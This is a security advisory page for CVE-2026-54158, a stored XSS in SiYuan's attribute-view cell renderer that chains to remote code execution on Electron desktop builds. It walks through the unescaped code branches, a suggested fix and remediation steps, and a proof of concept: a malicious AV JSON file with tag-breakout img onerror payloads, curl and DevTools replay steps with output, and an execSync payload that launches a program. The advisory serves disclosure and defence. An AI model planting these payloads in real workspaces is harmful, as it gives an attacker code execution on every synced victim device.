CVE-2026-54158: SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()

Published Jun 24, 2026
·
Updated

Summary

The attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('childprocess'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.

The kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261.

Companion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.

Details

Affected:

- HEAD 96dfe0b (v3.6.5, 2026-04-21) - Renderer sink: app/src/protyle/render/av/blockAttr.ts:68, genAVValueHTML(). The text, url, phone, and mAsset branches interpolate cell content raw. - Callsites piping genAVValueHTML into innerHTML: select.ts:124,229,346, cell.ts:791,913,1198, col.ts:455,656,1256, filter.ts:199,471,609,702, groups.ts:56,289,328,378, and blockAttr.ts:212. - Source: cell values returned by /api/av/getAttributeView. Backing store: data/storage/av/<avID>.json. - Write path: kernel/model/attributeview.go, updateAttributeViewValue and (Transaction).doUpdateAttrViewCell. No call to html.EscapeAttrVal, html.EscapeString, or util.EscapeHTML anywhere in the file. - Electron config: nodeIntegration:true, contextIsolation:false, webSecurity:false on every BrowserWindow in app/electron/main.js:307,408-411,1107-1110,1150-1153,1322.

The sink

app/src/protyle/render/av/blockAttr.ts:68, with the unsafe branches highlighted:

ts export const genAVValueHTML = (value: IAVCellValue) => { let html = ""; switch (value.type) { case "block": // escaped via escapeAttr — safe html = <input ... value="${escapeAttr(value.block.content)}" ...>; break; case "text": // value.text.content goes raw into a <textarea> html = <textarea ... rows="${(value.text?.content || "").split("\n").length}" ...>${value.text?.content || ""}</textarea>; break; case "url": // value.url.content goes raw into value="..." and href="..." html = <input value="${value.url.content}" ...> <a ${value.url.content ? href="${value.url.content}" : ""} ...>; break; case "phone": // same pattern as url html = <input value="${value.phone.content}" ...> <a ${value.phone.content ? href="tel:${value.phone.content}" : ""} ...>; break; case "mAsset": value.mAsset?.forEach(item => { if (item.type === "image") { // item.content raw inside aria-label html += <img ... aria-label="${item.content}" src="${getCompressURL(item.content)}">; } else { // attributes escaped, but ${item.name || item.content} text-node is raw html += <span ... aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}" data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>; } }); break; // other cases use escapeHtml / escapeAttr correctly } return html; };

escapeHtml and escapeAttr already exist and are used in the block, select, and mSelect cases. They just aren't applied in the four branches above.

Callers assign the result to innerHTML. Example, app/src/protyle/render/av/select.ts:124:

ts if (item.classList.contains("custom-attravvalue")) { item.innerHTML = genAVValueHTML(cellValue); }

The write path

A grep for any HTML-escape call in kernel/model/attributeview.go returns nothing:

grep -n 'html.Escape\|EscapeHTML\|EscapeString' kernel/model/attributeview.go (no output)

For comparison, the block-IAL write path at kernel/model/blockial.go:261 applies html.EscapeAttrVal(value). The AV cell write path is missing the equivalent.

Storage and sync

AV files live at data/storage/av/<avID>.json and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.

Suggested fix

The renderer-side fix is the more important one. escapeHtml and escapeAttr already exist in blockAttr.ts and already protect the block, select, and mSelect branches. Extend them to the rest of genAVValueHTML:

ts case "text": html = <textarea ...>${escapeHtml(value.text?.content || "")}</textarea>; break; case "url": html = <input value="${escapeAttr(value.url.content)}" ...> <a ${value.url.content ? href="${escapeAttr(value.url.content)}" : ""} ...>; break; case "phone": html = <input value="${escapeAttr(value.phone.content)}" ...> <a ${value.phone.content ? href="tel:${escapeAttr(value.phone.content)}" : ""} ...>; break; case "mAsset": // escape item.name and item.content in the text-node positions, not just inside attributes

The mAsset image branch also interpolates item.content into the src attribute via getCompressURL. Worth rejecting javascript: and data: schemes for asset URLs while you're in there.

Backend side, defense in depth: in kernel/model/attributeview.go:updateAttributeViewValue, call html.EscapeAttrVal(content) on the string-content cell types before persisting. This mirrors the existing protection in kernel/model/blockial.go:261. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces.

PoC

Stand up SiYuan and drop a malicious AV file at workspace/data/storage/av/poc.json:

bash docker run -d --name siyuan-poc \ -v ./workspace:/siyuan/workspace \ -p 16806:6806 \ b3log/siyuan:latest \ --workspace=/siyuan/workspace --accessAuthCode=hunter2

Minimum viable AV JSON:

json { "spec": 2, "id": "20260519999999-poctest", "name": "PocAV", "keyValues": [ { "key": {"id": "...keyblok", "name": "Block", "type": "block"}, "values": [{ "id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk", "type": "block", "isDetached": true, "block": {"id": "...row1blk", "content": "Row 1"} }] }, { "key": {"id": "...keytext", "name": "TextField", "type": "text"}, "values": [{ "id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk", "type": "text", "text": {"content": "</textarea><img src=x onerror=\"window.siyuanavxss='FIRED'\">"} }] }, { "key": {"id": "...keyurl0", "name": "UrlField", "type": "url"}, "values": [{ "id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk", "type": "url", "url": {"content": "\"><img src=x onerror=\"window.siyuanavurlxss='FIRED'\">"} }] } ] }

In a real attack the file gets there via sync, not by hand.

Confirm the API returns the cell content raw:

bash TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)

curl -s -X POST http://localhost:16806/api/av/getAttributeView \ -H "Authorization: Token $TOKEN" \ -d '{"id":"20260519999999-poctest"}' \ | python3 -m json.tool | grep -E '"content":'

Output from my run on 2026-05-19:

"content": "</textarea><img src=x onerror=\"window.siyuanavxss='FIRED'\">" "content": "\"><img src=x onerror=\"window.siyuanavurlxss='FIRED'\">"

</textarea> and "> come back literal, no escape.

In the Siyuan renderer's DevTools:

js const res = await fetch('/api/av/getAttributeView', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({id: '20260519999999-poctest'}) }); const json = await res.json();

let textValue = null, urlValue = null; for (const kv of json.data.av.keyValues) { for (const v of kv.values || []) { if (v.type === 'text' && v.text) textValue = v; if (v.type === 'url' && v.url) urlValue = v; } }

// Replay the actual genAVValueHTML branches verbatim. const textHTML = <textarea rows="${(textValue.text?.content||'').split('\n').length}">${textValue.text?.content || ''}</textarea>; const urlHTML = <input value="${urlValue.url.content}">;

const div = document.createElement('div'); div.innerHTML = textHTML + urlHTML;

await new Promise(r => setTimeout(r, 250));

console.log({ textMarkerFired: window.siyuanavxss === 'FIRED', urlMarkerFired: window.siyuanavurlxss === 'FIRED', imgsInDiv: div.querySelectorAll('img').length, title: document.title });

Output from my run:

json { "textMarkerFired": true, "urlMarkerFired": true, "imgsInDiv": 3, "title": "AVTEXTXSSOK" }

</textarea> and "> both broke out, the smuggled <img> elements ran their onerror handlers, the marker variables got set, document.title got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.

To turn it into RCE on Electron, swap the marker payload for:

html <img src=x onerror="require('childprocess').execSync('open /Applications/Calculator.app')">

require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.

Impact

Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.

The payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.

Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/av/updateAttrViewCell. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.

Other sources

SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, the attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('childprocess'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.he kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261. This vulnerability is fixed in 3.7.0.

NVD

Affected Software

2 affected componentsFixes available
SiYuan SiYuan<3.7.0
go/github.com/siyuan-note/siyuan/kernel<0.0.0-20260628153353-2d5d72223df4
0.0.0-20260628153353-2d5d72223df4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/siyuan-note/siyuan/kernel to a version that resolves this vulnerability.

    Fixed in 0.0.0-20260628153353-2d5d72223df4

Event History

Jun 24, 2026
CVE Published
via MITRE·09:19 PM
Data Sourced
via MITRE·09:19 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeakness
Jul 10, 2026
Advisory Published
via GitHub·07:34 PM
Data Sourced
via GitHub·07:34 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-54158?

CVE-2026-54158 has a critical severity score of 9.9.

2

How do I fix CVE-2026-54158?

To fix CVE-2026-54158, update SiYuan to version 3.7.0 or later.

3

What type of vulnerability is CVE-2026-54158?

CVE-2026-54158 is a Stored Cross-Site Scripting (XSS) vulnerability.

4

What software is affected by CVE-2026-54158?

CVE-2026-54158 affects SiYuan prior to version 3.7.0.

5

What exploit is possible with CVE-2026-54158?

CVE-2026-54158 allows for remote code execution (RCE) via attribute-view cell rendering.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203